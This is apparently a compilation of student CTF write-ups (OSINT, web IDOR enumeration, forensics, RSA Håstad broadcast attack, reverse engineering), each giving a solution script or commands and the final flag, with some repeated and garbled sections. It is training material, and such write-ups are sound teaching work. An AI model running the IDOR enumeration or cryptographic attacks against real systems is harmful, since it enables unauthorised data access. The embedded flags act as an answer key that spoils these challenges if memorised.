for i, x_hex in enumerate(xs_hex):
x = int(x_hex, 16)
# Calculate y^2 = x^3 + ax + b (mod p)
# We use pow(x, 3, p) for (x^3 % p)
x3 = pow(x, 3, p)
ax = (a * x) % p
# Ensure intermediate results stay positive
y_squared = (x3 + ax + b) % p
if y_squared < 0:
y_squared += p
# --- MODIFIED LOGIC ---
# The error "No modular square root" indicates that y^2 is not
# always a quadratic residue. This implies the flag bit is
# encoded in the *existence* of a root, not its value.
# We check this using the Legendre symbol.
# legendre = pow(y_squared, (p - 1) // 2, p)
#
# legendre == 1 => y^2 is a quadratic residue (y exists, y != 0)
# legendre == p - 1 => y^2 is a quadratic non-residue (y does not exist)
# legendre == 0 => y^2 is 0 (y = 0)
legendre_symbol = pow(y_squared, (p - 1) // 2, p)
# Hypothesis: Bit is 1 if it's a residue, 0 otherwise.
# We treat the y=0 case (legendre_symbol == 0) as bit 0,
# as the LSB of y=0 would be 0.
if legendre_symbol == 1:
bit_string += "1"
else:
# This covers non-residues (p-1) and the y=0 case (0)
bit_string += "0"
# --- END MODIFIED LOGIC ---
print(f"Successfully generated {len(bit_string)} bits.")
if len(bit_string) != flag_bits_len:
print(f"Error: Expected {flag_bits_len} bits, but got {len(bit_string)}.")
return
# Convert the full bit string into bytes
try:
flag_bytes = bytearray()
for i in range(0, flag_bits_len, 8):
byte_str = bit_string[i:i+8]
byte_val = int(byte_str, 2)
flag_bytes.append(byte_val)
# Decode the bytes as an ASCII string
flag = flag_bytes.decode('ascii')
print("\n--- FLAG ---")
print(flag)
print("--------------")
except UnicodeDecodeError:
print("\nError: Could not decode the resulting bytes into ASCII.")
print(f"Raw bytes: {flag_bytes.hex()}")
except Exception as e:
print(f"\nAn error occurred during flag decoding: {e}")
if __name__ == "__main__":
solve_challenge()
The above is working code that you can easily get through prompt engineering
Flag
1
CYS{c00k1eS_ar3_m34nt_t0_b3_br0k3n}
Flag
CYS{c00k1eS_ar3_m34nt_t0_b3_br0k3n} Auditor's Diary
Auditor’s Diary
- Category: OSINT/TEXT
- Author: S S Kishore Kumar
Challenge Description
You given the Auditor’s Log: MDE-12.1993 from the Auditor’s diary .
There is famous foreign historical figure hidden in the file.
Identify him and the CEO of the company named after him is gives you the flag.
Flag format : CYS{
Solution
Initial Analysis
Read the log and find its about Pablo Escobar , The company Escobar Inc. and its founder Olof K Gustafsson
Tools Used
- Wikipedia
- Textfile
Step-by-Step Solution
Step 1: [Read the audit-diary.md]
The log in it is based on Pablo Escobar.
Step 2: [Find the founder]
The company based of him is Escobar Inc. and its founder is Olof K Gustafsson
Flag
1
CYS{olofkgustafsson}
Flag
CYS{olofkgustafsson} Reconfiguration Terminal
Reconfiguration Terminal
Category: Web Exploitation Author: Yashwant Gokul P
Challenge Description:
- The site is minimal but the hint “Numbers are truth…” suggests a numeric resource pattern; a quick, low-noise check of
robots.txtconfirmed a disallowed numeric path and pointed toward a/safe/<id>namespace. Manual requests to a few/safe/<n>pages returned single characters inside the HTML (200 for valid indices, 404 at the end), which indicates an information-disclosure/enumeration weakness — essentially a CTF-style IDOR/predictable resource issue. The logical next step is to automate sequential requests to/safe/1,/safe/2, …, parse each response for the character, and concatenate them to reconstruct theCYS{...}flag
Solution:
Initial Analysis:
- The site is minimal but the hint “Numbers are truth…” suggests a numeric resource pattern; a quick, low-noise check of
robots.txtconfirmed a disallowed numeric path and pointed toward a/safe/<id>namespace. Manual requests to a few/safe/<n>pages returned single characters inside the HTML (200 for valid indices, 404 at the end), which indicates an information-disclosure/enumeration weakness — essentially a CTF-style IDOR/predictable resource issue. The logical next step is to automate sequential requests to/safe/1,/safe/2, …, parse each response for the character, and concatenate them to reconstruct theCYS{...}flag.
Tools Used:
- Python3
Step-by-Step Solution:
You are given with a url https://reconfiguration-terminal.netlify.app/

The site looks minimal, and it even displays the line “Numbers are truth, and truth always leaks through the cracks,” hinting at a possible IDOR weakness and suggesting there could be hidden clues in the page source, cookies, or other client-side artifacts. A good next step is to check the site’s
robots.txt(e.g.,https://example.com/robots.txt). That file, located at a site’s root, tells crawlers which paths to index or avoid—so it’s often a quick way to discover hidden or disallowed endpoints that might reveal useful information.
We found something interesting in
robots.txt:Disallow: /safe/420. That suggests the site might expose a hidden page and could indicate an IDOR (Insecure Direct Object Reference) issue. Let’s probe/safe/1to see whether the site is vulnerable.Our intuition paid off: changing the page ID (for example to2and3) returnedYandS, which matches the expected flag pattern. We don’t yet know the flag’s length, so manually visiting pages would be slow and error-prone. Instead, we’ll automate the process with a simple Python script that requests/safe/<n>, extracts the character from each page, and builds the flag for us.
Our intuition paid off: changing the page ID (for example to
2and3) returnedYandS, which matches the expected flag pattern. We don’t yet know the flag’s length, so manually visiting pages would be slow and error-prone. Instead, we’ll automate the process with a simple Python script that requests/safe/<n>, extracts the character from each page, and builds the flag for us.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
import requests from bs4 import BeautifulSoup BASE = "https://reconfiguration-terminal.netlify.app/safe/{}" flag = "" i = 1 while True: url = BASE.format(i) r = requests.get(url) if r.status_code == 404: print("404 reached. Stopping.") break elif r.status_code == 200: # parse the HTML and get only the text inside <p> soup = BeautifulSoup(r.text, "html.parser") p = soup.find("p") if p: char = p.text.strip() flag += char print(f"Page {i} found. Flag so far: {flag}") else: print(f"Page {i} found but no <p> tag!") i += 1 print("\nFinal Flag:", flag)
chatgpt chat history : https://chatgpt.com/share/68f10e84-a100-8003-b373-216bc62c34b0
If we run this code on our system, it will automatically fetch all the pages and reveal the flag.

Flag:
CYS{7h3_h0ur6l455_5h4773r3d_bu7_m3m0ry_r3m41n5_1n_fr46m3n75_pl3453_l1573n_cl053r_65537_2025}
Flag
CYS{7h3_h0ur6l455_5h4773r3d_bu7_m3m0ry_r3m41n5_1n_fr46m3n75_pl3453_l1573n_cl053r_65537_2025} Paradox Parable
This is a Easy Forensics challenge based on data carving an appended archive from a PNG file.
The challenge includes a decoy flag and a misleading handbook:
Decoy Flag: Running strings Paradox_Parable_Image.png reveals the false flag: CYS{early_belief}. The player must use binwalk to scan the file’s binary structure for embedded signatures
Command: binwalk -e Paradox_Parable_Image.png will give a extracted file with the true flag : CYS{binwalk_reveals_truth}
Flag
CYS{early_belief} Temporal Mergepoint
Author: riya mishra
Challenge Description Access control in a futuristic research portal fails. Users can view logs via /portal?user_id=
Solution Initial Analysis Visited / and saw hints about the portal endpoint. Tried accessing my user ID first.
Tools Used Web Browser (Chrome/Edge)
Burp Suite (optional)
Python Flask server
Step-by-Step Solution Step 1: Check my own logs text Visited: http://127.0.0.1:5000/portal?user_id=10 Result: {“user”:”player”,”log”:”Access denied: unauthorized”} Access was denied for default user.
Step 2: Test other IDs text Changed to: http://127.0.0.1:5000/portal?user_id=9 Result: {“user”:”admin”,”log”:”CYS{temporal_merge_success}”} Found that the server returned the flag for user ID 9.
Flag text CYS{temporal_merge_success}
Flag
CYS{temporal_merge_success} Maelle Confrontation
Maelle Confrontation
- Category: [OSINT]
- Author: [ace6002]
- Level: [Medium]
Challenge Description
Multi flag OSINT based on social media/tracking down a certain user.
Question to be given
1
Beneath whispers of the forgotten web, one name drifts between the cracks: 1skim. Seek not the obvious, but what lingers behind the veil of public traces. Threads lead where shadows meet data. The flag is no secret—only unseen. Follow the noise, and let open eyes find the hidden truth.
Solution
Tools Used
- [Instagram, bsky.app, Discord]
Step 1: Take given username in question (1skim_) and find the instagram account with the same username.
Step 2: There are 2 posts. Each post leads to a different flag.
Path 1: Post 1 states man, i sure love bisky kruger from HxH. definitely one of the best teachers out there. shes for sure my number 2. The hint lies with bisky it translates to bsky i.e. bsky.app. A twitter alternative, much lesser known. Search for username 2skim on bsky.app, the player will find the flag 1, in base64.
Path 2: Post 2 states goat. did you know laid loved Clyde more than anything? that's my number 3 though, god knows how it's his top. The hint lies with Clyde. Sent a request to the discord username 3skim_. In the About Me lies a clue, ANIME LOVAR. NO QUESTIONIG. It really has some Soul in it you know, unlike Hollywood. the clue here is AnimeSoul, the largest public anime server on Discord. The status of 3skim_ reads just chillin', another clue. Join AnimeSoul, head into #chill-chat, and search for messages by 3skim_. There is only one message, with the flag in base64.
Flag 1
1
CYS{l0v3_Y0uu}
Flag 2
1
CYS{d3nyy}
Flag
CYS{d3nyy} Auditor Encounter
- Category: Web / ARG
- Author: Oviya
Challenge Description
An animated in-page “Auditor” asks a single question: “Do you regret what you created?”
This is a static web challenge (HTML + CSS + JS). The player replies via a small dialogue input. If the player responds with yes, the Auditor prints the flag; no yields a cryptic denial. The flag is obfuscated (base64) inside the client-side script.
Solution
Initial Analysis
I opened the challenge in the browser and inspected the page source. Since the site is static, I looked for client-side JavaScript (either inline or linked as static/script.js). The flag was not directly visible in the HTML, so I checked the JavaScript file for any encoded strings or decode logic.
Tools Used
- Browser Developer Tools (View Source / DevTools)
- Text editor (VSCode)
- Command line base64 utilities or Python for decoding
Step-by-Step Solution
Step 1: Open the page and view source / linked script
In the browser: Right click → View Page Source Or open linked file directly: open static/script.js # or use your editor to open the file Explanation: The page is static. The script reference (static/script.js) contains the dialogue logic and probably hides the flag in an encoded form.
Step 2: Locate the base64-encoded flag string in the JavaScript
Search for common patterns in the JS file grep -n “FLAG_B64” static/script.js or open the file and look for base64-like strings (long strings with letters/numbers/+ / =) Explanation: The script held a variable named FLAG_B64 with a base64 string. This indicates the flag is client-side but obfuscated.
Step 3: Decode the base64 string to obtain the flag
Example using Linux base64 tool (replace the string with the one found) echo ‘Q1lTfGF1ZGl0X3JlZ3JldC5wYXNzfQ==’ | base64 –decode
OR using Python: python3 -c “import base64; print(base64.b64decode(‘Q1lTfGF1ZGl0X3JlZ3JldC5wYXNzfQ==’).decode())”
OR in browser console (if the site exposes it): atob(‘Q1lTfGF1ZGl0X3JlZ3JldC5wYXNzfQ==’)
Explanation: Decoding the base64 string reveals the flag in plain text. Any of the above methods will produce the same result.
Flag
CYS{aud1t_regr3t_pass}
Flag
CYS{aud1t_regr3t_pass} Citadel Entry Lock
Key 1 — SEAL
Observation
- The puzzle presents a 16×16 symbol grid → hint: hex (16 values:
0x0–0xF). - One edge (first row / first column) contains a set of unique symbols which map to the 16 hex digits.
- Some symbols are visually distinct (black-haired vs white-haired). The black-haired symbol positions encode the meaningful bytes.
Method
- Map each unique symbol in the first row (or first column) to the hex digits
0x0–0xF. - For the black-haired symbol occurrences, read the mapped hex bytes in sequence.
- Convert the resulting hex byte sequence to ASCII.
Extracted data
1
53 45 41 4C 𓀅 𓀃 𓀄 𓀅 𓀄 𓀁 𓀄 𓀌
Interpreting the ASCII bytes 53 45 41 4C → "SEAL".
Result (Key 1): SEAL
Key 2 — RAID (Håstad / low-exponent broadcast attack)
Problem summary
- You are given three RSA public keys with a small, identical public exponent
e = 3and three ciphertextsc1, c2, c3. - The same plaintext
mwas encrypted under each modulusn1, n2, n3. - This is the classic setting for Håstad’s Broadcast Attack: when the same message is encrypted with small
eand pairwise-coprime moduli, use CRT and extract the integer e-th root.
Mathematical setup
We have:
[ m^3 \equiv c_1 \pmod{n_1},\qquad m^3 \equiv c_2 \pmod{n_2},\qquad m^3 \equiv c_3 \pmod{n_3}. ]
If the moduli are pairwise coprime and (m^3 < n_1 n_2 n_3), then the CRT combined value (X) equals the integer (m^3). Recover (m) by taking the integer cube root.
Given values
| index | modulus (n_i) | ciphertext (c_i) |
|---|---|---|
| 1 | 20000000000003 | 120045155700768461749 |
| 2 | 30000000000007 | 22749457632 |
| 3 | 40000000000009 | 2800451557007722749457632 |
| e | 3 | (public exponent) |
Solution steps (summary)
- Use the Chinese Remainder Theorem (CRT) to compute
Xsuch thatX ≡ c_i (mod n_i)for all i. This produces a uniqueXmoduloN_total = n1*n2*n3. - If
m^3 < N_total,Xequalsm^3as an integer. - Compute the integer cube root of
Xto recoverm. - Convert
m(integer) to a big-endian hex string and then to ASCII to read the plaintext.
Python reference (concise, reproducible)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Requires: sympy, gmpy2
from sympy.ntheory.modular import crt
from gmpy2 import iroot
# Provided moduli and ciphertexts
n = [
20000000000003, # n1
30000000000007, # n2
40000000000009 # n3
]
c = [
120045155700768461749, # c1
22749457632, # c2
2800451557007722749457632 # c3
]
e = 3
# 1) CRT -> resultant = m^3
resultant, modulus = crt(n, c)
print("CRT result (m^3):", resultant)
# 2) integer cube root
m_int, is_perfect = iroot(resultant, e)
if not is_perfect:
raise ValueError("CRT result is not a perfect cube; attack failed.")
print("Recovered integer m:", m_int)
# 3) convert to ASCII
hex_val = hex(int(m_int))[2:]
if len(hex_val) % 2:
hex_val = "0" + hex_val
plaintext = bytes.fromhex(hex_val).decode('ascii')
print("Plaintext:", plaintext)
Intermediate / expected values
- CRT result
m^3(as computed):262800451557007722749457632 - Integer cube root
m:1380010308 - Hex of
m(big-endian):0x52414944→ ASCII:"RAID"
Result (Key 2): RAID
Key 3 — CROSS
Observation
- A word search / letter grid with very few actual English words.
- The visible words (the only real words in the grid) are
"THE","ANSWER","IS","CROSS".
Method
- Either brute-force search the grid for words or visually scan it.
- The sequence of real words forms the phrase: “THE ANSWER IS CROSS”.
Result (Key 3): CROSS
Key 4 — MAAT
Overview
The ciphertext is a layered transformation pipeline. Working backwards through the layers yields a SHA-512 digest which, when interpreted/decoded, produces the key.
Pipeline (as given / reversed)
SKIP CIPHER (size = 17)→ produces a tokenized stringTWIN HEXtransformationKENNY LANG(South Park / simple substitution style encoding)TWIN HEXSHA512- ASCII decode → final key
Notable intermediate
- SKIP CIPHER(SIZE=17): ``` 1KU55X5KZ5HJ5AX5AL1H75MZ5A85YR5T75HB1AZ5KP5TP5JR5AB1HZ5KB5HK5OR1AW5WX5HZ1HR5KR5TP5W85TZ5AR1AR5HX5TB1AR5T85H85HB1TZ5MZ59Q5T85W85TU5TP5TR5HR5T85HR5KR1AB19R5AJ1XB1SB1AR5TR5WR5HZ1HR5585H81K855Z5K85AZ5AR5T81K85T85HB18R5AJ5W75TR5T71XP19Z5M85HB58R5TP5A85A81Y85YK15Q5H85WR1KR5575AK1AP5TX5T85KZ5HA5KZ5KR5OR5HB5MX5W85HK5AR5HZ5XX5W85A75AS5AP5TX5HK5KZ1T75WR5HB1AZ5KZ10R5W85TZ58P5T85HZ1HZ5WZ5H81KK5HJ1AR5AB1AB1HK5KR1H85KR5HB5HR1TX5WP5W85KR5MR5KZ5A81WB5WX5TR5KB1K85K85571A85881T81H85W85HR5K85TZ5WR5WJ1T75NJ11X1WX1HB5KX5885JB5ZZ1T75TR5AR5175KR5HR5AR5K85YZ5TP5NZ1H75AR1W85TP58P5LX5X75T85HZ
1
2
- TWIN HEX:
1bh5zh58w5xw58w5zk5rh1ba5rk58t5xt1u85rh1kj5rh5pt58t5rk5za1bh5zh58t57558t5za5zh1kn5rh5xt58w5pz1bh5zh58w5pt5zk5zh5ra1bk5rk5zh5pt1rh5rh1bh5za5rh5xt5rk5781bh58w58t5751rh5rk1bh5rk1pt58t5za58t1ja5rk58t5xt5ra5za58w1kj5rh5px1jk5za1ja5rk58w5xw58m5xy1bh5za1pw58w5zk58t1ja5rk58w5755za5791bh58w58t5791ly5ra1a158t5pt1q01kn5rh5755za5ra5rh1ja5zk5zk57858t5751ja5zk5ra5pt58w5q11bk5rk5ra57858m5xx1bk58m1sl18w5zh1ba5rh5ra5xx18t58w1bh5ra5ra5pt5za5xs1ko5zk5px18t58w1bh5ra5zh5791u85rh1ko5ra5xt5zh5py1ba5rh5ra5xt58t5rk5rk1bk58t58m5pt5rk5ra58t1bh58w58t5xt1wm58w1kh58t5755rh5xy1ba5zh5rh57858w5zk5rk
1
2
- KENNY LANG SOUTHPARK:
1mpmfpp4fpppmm1fmpfmp18pmm53mmm1fmmppf1mpmfmf1fmpfpm57mmp1fpm71mpmfpm1pppmmf1pmppmm17mmm1mpfmmp1mpf41mfpfmf17mmp1mmp71fmpffm4fmpfmp1mfpffp53mmm54ppf4fmpfpp4ffp61mpf74fpppfm4fmpfpf1pff51mfpfmf55fmf19fmm17857mmf1pfmfmm4fppppf4fmf14fppmfm1fpm91pmpmff4ffp51pff850ppm1fmmmfp50mfp1mmfmfm1pfp058ppm50mfp1mmfpmf58pmm58mfp1pmm61fmmmfp1fmmpmp1pfmffm1mpmffm1mfpfmp19ffp51fmf1mmp61fpmmmf4fpppmp
1
2
- TWIN HEX:
1dw4wj1tt18j53a1so1du1tv57b1v71dv1nc1kj17a1fb1f41hu17b1b71ty4tt1hz53a54o4tw4z61f74wp4tx1r51hu55u19s17857c1ps4wo4u14wg1v91ki4z51r850m1sh50h1cg1q058m50h1cl58j58h1j61sh1sk1py1dy1ht19z51u1b61vc4wk
1
- The final SHA-512 digest in the chain is:
2db38a0cdf882b8cf7932c685306373042071c8fa147dfe8a4c233b9a57a42eb1004f870b8a9b09552c17dcf81ca2078ffca25fcfa4b8184762f4117d21b98b4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
**Conclusion**
- After reversing the transformations and decoding the SHA-512 result, the plaintext key obtained is: `MAAT`.
**Result (Key 4):** `MAAT`
---
# Key 5 — MAZE
**Observation**
- Several 8×8-like grids produce SHA-256 digests when unspiralled.
- Each grid, when read with the specified outward, left-start, clockwise spiral algorithm, yields an 8×32 (256-bit) SHA256 word fragment.
- The puzzle lists grouped hexadecimal 32-byte SHA256 outputs and associates them to English words.
**Interpretation**
- Spiral Pattern
1)20d21a67·ac24d157·0b679998·b4344d9a·83a3b8f3·1b42e0a5·40544695·1c439f90 2)f826b683·37334d8e·7e46f925·e8670e23·030c2178·3ba7b299·c7c724fc·d1a761ff 3)e1900ba2·7ab930f6·017e98af·bc903491·2edbb7c2·9b864a02·bec73e01·bf1f0eac 4)808bb15f·07488f45·f05fa88c·0d1d34d6·868bc51c·382a6d05·a305622c·c1ad27d3 5)416f57f6·65ff5633·517705da·91651f6e·4cfafdac·d8ba9431·51281d5f·d9cdfbe9 6)11eab27f·623d15ec·099e0f14·be6edf14·7c69d59b·8e7c49da·bd5d9f26·9ad8f2c8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
- The extracted SHA256 hashes correspond to the phrase:
- `The:` `b344d80e24a3679999fa964450b34bc24d1578a35509f934c1418b0a20d21a67`
- `key:` `2c70e12b7a0646f92279f427c7b38e7334d8e5389cff167a1dc30e73f826b683`
- `you:` `bb0347a468d97e98a9c00e37cebec1ab930f6f1221cae0f1fbb92b07e1900ba2`
- `seek:` `cbd345d6a2815fa88d1022650386d07488f45c6c5c3d72da1ca380f0808bb15f`
- `is:` `fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6`
- `MAZE:` `d9edf594c7669e0f119d2f9d5dece923d15ec44ba68c2f8da9b87b0611eab27f`
- Combined phrase: **"The key you seek is MAZE."**
**Result (Key 5):** `MAZE`
---
# Key 6 — HODOS
**Observation**
- A long block of transformed text using a route cipher.
- The transformation parameters: horizontal width = **4**; encoding uses a route reading pattern described as:
- *Write horizontally from top-left, then read vertical lines from bottom-left* (i.e. a specific route/permutation).
**Method**
- Implement or use an online route-cipher tool with the given width and read order. Decoding the route cipher recovers a plaintext passage where the key word is clearly visible.
**Result (Key 6):** `HODOS`
## Decryption script (route cipher — width = 4)
```python
import math
# Ciphertext should be set to the encoded string (use raw string: r"...")
ciphertext = "" # <-- paste ciphertext here
width = 4
# Compute number of rows (each row was written left→right)
rows = math.ceil(len(ciphertext) / width)
cols = width
# Determine how many characters go in each column (left to right)
remainder = len(ciphertext) % width
col_lengths = [rows if i < remainder else rows - 1 for i in range(width)] if remainder else [rows] * width
# Split ciphertext into columns as read bottom→top, left→right
columns = []
idx = 0
for c_len in col_lengths:
col = ciphertext[idx:idx + c_len]
columns.append(col[::-1]) # reverse each column (because read bottom→top)
idx += c_len
# Reconstruct plaintext by reading horizontally (left→right, top→bottom)
plaintext = ''
for r in range(rows):
for c in range(cols):
if r < len(columns[c]):
plaintext += columns[c][r]
# Replace ⌴ with space (if used in your ciphertext)
plaintext = plaintext.replace('⌴', ' ')
print(plaintext)
Final assembly
After recovering each key, assemble them in the instructed order to form the final flag.
- KEY 1:
SEAL - KEY 2:
RAID - KEY 3:
CROSS - KEY 4:
MAAT - KEY 5:
MAZE - KEY 6:
HODOS
FINAL FLAG:
1
CYS{SEAL_RAID_CROSS_MAAT_MAZE_HODOS}
Flag
CYS{SEAL_RAID_CROSS_MAAT_MAZE_HODOS} Choir Echoes
Choir Echoes
- Category: [Forensics]
- Author: [ace6002]
- Level: [Medium]
Challenge Description
Audio Forensics.
Question to be given
1
You could not live with your own failures. Where did that bring you? Back to the beginning. Wear your spectacles better, perhaps you'll succeed this time.
Solution
Tools Used
- [Audacity]
- [Hexedit]
Step 1: Hexedit given .wav file, correct the headers from KaFX to RIFF and WAWW to WAVE.
Step 2: Read the file using audacity spectrography to find the key. But this is not the flag, its simply the key of a Vigenere Cipher.
Step 3: The tail of the file excellente!.wav contains the encoded text TCE{1rrp1ml0} .
Step 4: Decode Vigenere using key remy obtained from spectral view to get flag CYS{1tal1an0}.
Flag 1
1
CYS{1tal1an0}
Flag
CYS{1tal1an0} Reflection Logs
Reflection Logs
- Category: Forensics
- Author: Rithvik
Challenge Description
A fragment of Lyra’s message is buried under multiple layers of compression and presented as a hexdump (tryme.hex, xxd format, ASCII column included). Players must reverse the hexdump, identify the gzip layer, decompress it to reveal a bzip2 file, and then decompress that to recover a text file encoded twice in Base64. Decoding it twice reveals the final flag.
Solution
Initial Analysis
The provided file is a plain-text hexdump generated by xxd, which includes both hexadecimal bytes and an ASCII column. This indicates the original content is binary data encoded as text. The job is to reverse the hexdump to its binary form and peel back compression layers until the Base64 text is reached.
Tools Used
xxd(to reverse the hexdump)file(to inspect file types via magic bytes)gunzip/gzip -d(to decompress gzip archives)bunzip2(to decompress bzip2 archives)base64(to decode the encoded text)
Step-by-Step Solution
Step 1: Reconstruct the binary from the hexdump
1
2
xxd -r tryme.hex > stage0.bin
file stage0.bin
What this does: xxd -r converts the textual hexdump back into the original binary file. Running file on the result reveals the binary’s type by checking magic bytes.
Expected output:
1
stage0.bin: gzip compressed data, from Unix, last modified: ...
Step 2: Decompress the gzip layer
1
2
3
4
5
6
7
# Option A — rename then gunzip (safe and explicit)
mv stage0.bin stage0.gz
gunzip stage0.gz
# This produces 'stage0' (or the original filename stored inside the archive)
# Option B — decompress without renaming
gzip -dc stage0.bin > stage1.bz2
What this does: The gzip layer contains a .bz2 file. After decompression you should have the bzip2 file (e.g., stage1.bz2).
Verification:
1
2
file stage1.bz2
# Expected: stage1.bz2: bzip2 compressed data, ...
Step 3: Decompress the bzip2 file to get the Base64 text
1
2
3
4
bunzip2 stage1.bz2
# Produces an ASCII text file (e.g., 'stage1.txt')
file stage1.txt
head -n 5 stage1.txt
What this does: bunzip2 extracts the text file that contains the Base64-encoded flag (encoded twice).
Step 4: Decode the Base64 text twice
1
2
cat stage1.txt | base64 -d | base64 -d > flag.txt
cat flag.txt
What this does: The text is decoded twice using base64 -d. The final output reveals the hidden flag.
Flag
1
CYS{lyra_was_here}
Flag
CYS{lyra_was_here} Auditor Encounter
- Category: Web / ARG
- Author: Oviya
Challenge Description
In this challenge, you encounter The Auditor, a mysterious entity that reviews your actions in the fractured timeline.
Through an interactive dialogue, you must respond to his questions about your past interference in the archive.
Each response leads to a different outcome — hidden clues, distinct checksums, and unique session identifiers, all combining to form your final flag.
The true test lies in observation and deduction — the data is never handed over directly, but concealed cleverly in the background.
Solution
Initial Analysis
On opening the webpage, the interface shows The Auditor, who initiates a conversation in a typewriter-style effect.
After a few exchanges, the player is presented with four choices, each representing a possible action from the past.
Inspecting the code reveals a fetch() request silently retrieving a hidden resource (which in this case is disguised or embedded), and a flag format hint inside the script logic.
The flag format is: CYS{audit_recovered_
Tools Used
- Web Browser (Developer Tools → Network & Sources)
- Basic JavaScript inspection
- Notepad / VS Code for viewing HTML source
Step-by-Step Solution
Step 1: Observation and Interaction
When the page loads, The Auditor introduces the scenario and begins questioning your actions.
Once prompted, four choices appear, each corresponding to a distinct decision path.
Step 2: Inspecting the Network or Script
Upon selecting any choice, no flag is directly revealed.
However, by checking the Developer Tools → Sources or Network tab, you can find that the hidden clue is retrieved or encoded within the script itself.
Each path outputs a checksum and sessionID that you must fit into the given flag format.
Step 3: Reconstructing the Flag
Using the format and the given data, you reconstruct your flag as: CYS{audit_recovered_
Path Outcomes and Flags
Each decision leads to a unique audit result with a distinct checksum and session ID.
These combine to form four valid flags depending on the path you choose:
| Choice | Description | Checksum | SessionID | Final Flag |
|---|---|---|---|---|
| Path A | “I repaired corrupted echoes — I tried to restore what was lost.” | 1A3F | 07XZ | CYS{audit_recovered_1A3F_07XZ} |
| Path B | “I smashed the capsules — they were unstable and had to be purged.” | B2D4 | 9KLM | CYS{audit_recovered_B2D4_9KLM} |
| Path C | “I reconfigured terminals to read restricted vaults — truth needed access.” | C3E7 | Q4T1 | CYS{audit_recovered_C3E7_Q4T1} |
| Path D | “I observed only. I let the archive run its course.” | D4F9 | Z0OP | CYS{audit_recovered_D4F9_Z0OP} |
Explanation of Paths
- Each path represents a different moral response to the Auditor’s inquiry.
- The checksum and sessionID act as identifiers for the version of the timeline recovered.
- These unique flags determine which branch of the overarching story or challenge you progress into next.
Flag Example
If the player selects the first option: CYS{audit_recovered_1A3F_07XZ} —
Flag
CYS{audit_recovered_1A3F_07XZ} CryptoEZ
CryptoEZ
Category: Cryptography
Author: Abhay Krishna
This challenge explores the basics of image cryptography with basic concepts like EXIF metadata and steganography
Initial Analysis
As the description suggests there is something hidden inside the message it is very common and basic to view the metadata of the Image.
Tools Used
- Online EXIF data viewer
- Zsteg
Step-by-Step Solution
Step 1: Check EXIF Metadata
On viewing the metadata of the image we can see a hint saying “Listen to the least significant whispers”. This indicates the use of LSB steganography - a technique for hiding secret data by replacing the least significant bits (LSBs) of a carrier file, like an image, with the bits of the hidden message.
Step 2: Use Steganography Tools
To solve this we can use tools like zsteg which is used for detecting and extracting steganographic data from images.
Step 3: Extract Hidden Data
On running the command: ```shell zsteg flag.png
b1,r,lsb,xy .. text: “<~^#vS\p” b1,g,msb,xy .. file: OpenPGP Secret Key b1,rgb,lsb,xy .. text: “CYS{y0u_kn0w_cryp70}” b4,r,lsb,xy .. text: “vU"#4"$DDDD3#C2 “ b4,g,lsb,xy .. text: “##DEEVfeef” b4,b,lsb,xy .. text: “"3EUUUEEEEfw” b4,rgb,lsb,xy .. text: “`U’rw’rw’qf” b4,bgr,lsb,xy .. text: “Pw’rw’rw&af”
Flag:
- CYS{y0u_kn0w_cryp70}
Flag
CYS{y0u_kn0w_cryp70} Lyra's Journal
- Category: [Forensics]
- Author: [Nihara Oommen]
Challenge Description
[There are 15 such fragments scattered across files. Each fragment is appended into some of the JPEG files as plain ASCII in the raw bytes in the form CYS{fragment} YYYY-MM-DDTHH:MM:SS. Sorting the found fragments by timestamp reveals the final flag.]
Solution
Initial Analysis
[I inspected the provided files and the generator script. The images looked normal in viewers, so I suspected the fragments were embedded in the raw file bytes (not visible pixels). The pattern CYS{ suggested a simple ASCII string was appended to some JPEG files.]
Tools Used
Select-String(PowerShell)sort-object(PowerShell)unzip(to extract the challenge ZIP)PowerShellPython(optional, for automation)
Step-by-Step Solution
Step 1: Extract the files
1
tar -xf journal_pages.zip
Extracts all page_###.jpg into journal_pages/ for inspection.
Step 2: Find the hidden fragments
1
Select-String -Path .\journal_pages\*.jpg -Pattern "CYS{" | ForEach-Object { $_.Line }
This finds lines like:
1
2
3
CYS{T} 2087-09-22T00:12:00
CYS{H} 2087-09-22T00:21:00
...
(Each hit is the fragment plus its timestamp.)
Step 3: Sort fragments by timestamp and assemble the flag
1
2
3
4
5
6
Select-String -Path .\journal_pages\*.jpg -Pattern "CYS{" | ForEach-Object {
$line = $_.Line
if ($line -match "CYS\{([^}]+)\}\s*([0-9T:-]+)") {
[PSCustomObject]@{ Fragment = $matches[1]; Timestamp = [datetime]::ParseExact($matches[2],"yyyy-MM-ddTHH:mm:ss",$null) }
}
} | Sort-Object Timestamp | ForEach-Object { $_.Fragment } > sorted_fragments.txt
Explanation: after sorting by the ISO timestamps, concatenating the fragments in order reconstructs the inner flag message.
Flag
1
CYS{THE_CLOCKS_WERE_LYING}
Flag
CYS{THE_CLOCKS_WERE_LYING} Echo-Double Combat
Echo-Double Combat
- Category: Reverse Engineering
- Author: Suraj Kumar
Challenge Description
A binary executable accepts a 9-character input key and validates it through XOR operations. The correct key is encoded in the binary and must be extracted by XORing stored bytes with 0x55. Once the correct key is entered, the binary decrypts and reveals the flag using repeating-key XOR. A decoy flag is stored in encrypted form as a Base64 string (WTNsemUyY3dYMkkwWTJ0ZmREQmZjM1EwY25SemZRPT0=) in the binary’s strings, which decodes to cys{g0_b4ck_t0_st4rts} — this is intentionally wrong and serves as a red herring.
Solution
Initial Analysis
Running basic reconnaissance on the binary revealed an encrypted decoy flag in the strings output. Further analysis required disassembling the binary to understand the validation logic and extract the encoded key array used for XOR operations.
Tools Used
- Ghidra / IDA Pro / Binary Ninja
- strings, file, objdump, readelf
- Python 3
- base64 (command-line tool)
- GCC
Step-by-Step Solution
Step 1: Initial Analysis
1
2
file challenge.dat
strings challenge.dat
Found a Base64-encoded string WTNsemUyY3dYMkkwWTJ0ZmREQmZjM1EwY25SemZRPT0=. Decoding it twice reveals cys{g0_b4ck_t0_st4rts} which is a decoy flag (intentionally wrong). The binary requires a 9-character key as input.
